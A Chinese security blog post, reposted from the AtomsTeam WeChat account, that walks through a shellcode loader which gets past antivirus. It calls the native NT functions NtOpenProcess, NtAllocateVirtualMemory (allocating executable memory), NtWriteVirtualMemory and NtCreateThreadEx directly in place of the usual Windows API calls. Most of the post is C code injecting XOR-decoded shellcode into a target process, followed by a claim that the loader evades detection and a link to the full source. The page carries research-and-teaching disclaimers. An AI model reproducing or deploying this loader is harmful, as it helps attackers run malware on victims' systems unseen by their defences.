利用系统调用绕过杀软

admin 2024年7月9日07:21:38评论16 views字数 4599阅读15分19秒阅读模式

 

 免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。

由函数执行过程来引入

利用系统调用绕过杀软

这是一个简单的加载器,我们使用kernel中的VirtualAlloc函数来申请内存空间。

利用系统调用绕过杀软

执行到VirtualAlloc函数后,进入函数可以看到调用了NtAllocateVirtualMemory

利用系统调用绕过杀软

那么系统调用则是直接调用NtAllocateVirtualMemory,而不经过VirtualAlloc来调用的一种方式。

实现部分

这里用到如下函数

NtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx

这些都是R0层的函数

接下来我们详细看一下,首先从NtOpenProcess开始。

NtOpenProcess结构体如下定义

__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(  [out]          PHANDLE            ProcessHandle,  [in]           ACCESS_MASK        DesiredAccess,  [in]           POBJECT_ATTRIBUTES ObjectAttributes,  [in, optional] PCLIENT_ID         ClientId);

参数含义如下

第一个参数是一个HANDEL类型的指针第二个参数是设置访问权限第三个参数是一个POBJECT_ATTRIBUTES类型的结构体指针第四个参数是PCLIENT_ID类型的结构体指针

微软文档

利用系统调用绕过杀软可以看到,我们需要给出OBJECT_ATTRIBUTES结构体指针和ClientID结构体指针,这两个结构体的结构如下

typedef struct _UNICODE_STRING{    USHORT Length;    USHORT MaximumLength;    PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;typedef struct _CLIENT_ID {    PVOID UniqueProcess;    PVOID UniqueThread;} CLIENT_ID, *PCLIENT_ID;typedef struct _OBJECT_ATTRIBUTES{    ULONG           Length;    HANDLE          RootDirectory;    PUNICODE_STRING ObjectName;    ULONG           Attributes;    PVOID           SecurityDescriptor;    PVOID           SecurityQualityOfService;}  OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
其中,_CLIENT_ID和_OBJECT_ATTRIBUTES是我们要为NtOpenProcess服务的结构体,而_UNICODE_STRING将为_OBJECT_ATTRIBUTES提供PUNICODE_STRING类型。

接下来我们还需要一个函数,

InitializeObjectAttributes

这个函数可以初始化OBJECT_ATTRIBUTES结构,调用也很简单。

VOID InitializeObjectAttributes(  [out]          POBJECT_ATTRIBUTES   p,  [in]           PUNICODE_STRING      n,  [in]           ULONG                a,  [in]           HANDLE               r,  [in, optional] PSECURITY_DESCRIPTOR s);

接下来是NtOpenProcess的结构体,因为是直接从ntdll中导出的,所以需要定义它

typedef NTSTATUS(NTAPI* NtOpenProcess)(    PHANDLE            ProcessHandle,    ACCESS_MASK        DesiredAccess,    POBJECT_ATTRIBUTES ObjectAttributes,    PCLIENT_ID         ClientId);

在结构体都定义完成后,就该去调用它了。

//初始化OBJECT_ATTRIBUTES结构体OBJECT_ATTRIBUTES attr{}; InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);// 初始化 CLIENT_ID 结构体CLIENT_ID cid{};cid.UniqueProcess = (PVOID)pid;cid.UniqueThread = 0;

加载ntdll

HMODULE ntdll = LoadLibraryA("ntdll.dll");//调用NtOpenProcessNtOpenProcess pNtOpenProcess = (NtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess");pNtOpenProcess(&pThread, PROCESS_ALL_ACCESS, &attr, &cid);

NtAllocteVirtualMemory

定义如下

_Must_inspect_result__When_(return == 0, __drv_allocatesMem(mem))NTSYSCALLAPINTSTATUSNTAPINtAllocateVirtualMemory(    _In_ HANDLE ProcessHandle,    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress,    _In_ ULONG_PTR ZeroBits,    _Inout_ PSIZE_T RegionSize,    _In_ ULONG AllocationType,    _In_ ULONG Protect    );
第一个参数是进程句柄第二个参数接收已经分配的内存区域的基址第三个参数是返回的内存区域地址高位字节中0的个数第四个参数是要分配的内存大小的指针第五个参数是是否保留内存第六个参数是内存保护类型

和NtOpenProcess一样,在我们使用它之前,需要先定义结构体,结构体定义如下

typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory)(    HANDLE    ProcessHandle,    PVOID* BaseAddress,    ULONG_PTR ZeroBits,    PSIZE_T   RegionSize,    ULONG     AllocationType,    ULONG     Protect);

调用它

// 分配内存空间NtAllocateVirtualMemory pNtAllocate = (NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");PVOID address = NULL;pNtAllocate(pThread, &address, 0, &shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

NtWriteVirtualMemory

该函数无微软文档,可以在这里查看

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html

结构体定义

typedef NTSTATUS(NTAPI* NtWriteVirtualMemory)(    HANDLE               ProcessHandle,    PVOID                BaseAddress,    PVOID                Buffer,    ULONG                NumberOfBytesToWrite,    PULONG               NumberOfBytesWritten OPTIONAL);
第一个参数是将在内存区域写入的进程的句柄第二个参数是要写入的内存区域开头的指针第三个参数是要写入的数据第四个参数是要写入的数据的大小第五个参数为NULL即可

调用

NtWriteVirtualMemory pNtWrite = (NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");pNtWrite(pThread, address, unxor, shellcode_size, NULL);

NtCreateThreadEx

结构体定义

typedef NTSTATUS(NTAPI* NtCreateThreadEx)(    PHANDLE hThread,    ACCESS_MASK DesiredAccess,    PVOID ObjectAttributes,    HANDLE ProcessHandle,    PVOID lpStartAddress,    PVOID lpParameter,    ULONG Flags,    SIZE_T StackZeroBits,    SIZE_T SizeOfStackCommit,    SIZE_T SizeOfStackReserve,    PVOID lpBytesBuffer);
第一个参数是一个HANDLE类型的指针,用于指向我们创建的线程第二个参数是权限设定第三个参数是可选参数,指向OBJECT_ATTRIBUTES结构体第四个参数指向目标进程句柄第五个参数指向新线程的起始地址第六个参数可选,传递给起始地址的单个参数第七个参数指定创建时的标志第八个参数通常设置为0第九个参数是新线程的初始堆栈大小第十个参数是新线程的最大堆栈大小第十一个指向PS_ATTRIBUTE_LIST参数结构体,通常为NULL

函数调用

NtCreateThreadEx pNtCreate = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");pNtCreate(&pOpen, PROCESS_ALL_ACCESS, NULL, pThread, address, NULL, 0, 0, 0, 0, NULL);

释放占用的资源句柄

CloseHandle(pThread);CloseHandle(pOpen);FreeLibrary(ntdll);

免杀效果

利用系统调用绕过杀软

利用系统调用绕过杀软

shellcode的处理在此不赘述。

源码下载

https://github.com/nezha0583/NTAPI

 

 

原文始发于微信公众号(AtomsTeam):利用系统调用绕过杀软

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月9日07:21:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用系统调用绕过杀软https://cn-sec.com/archives/2933140.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息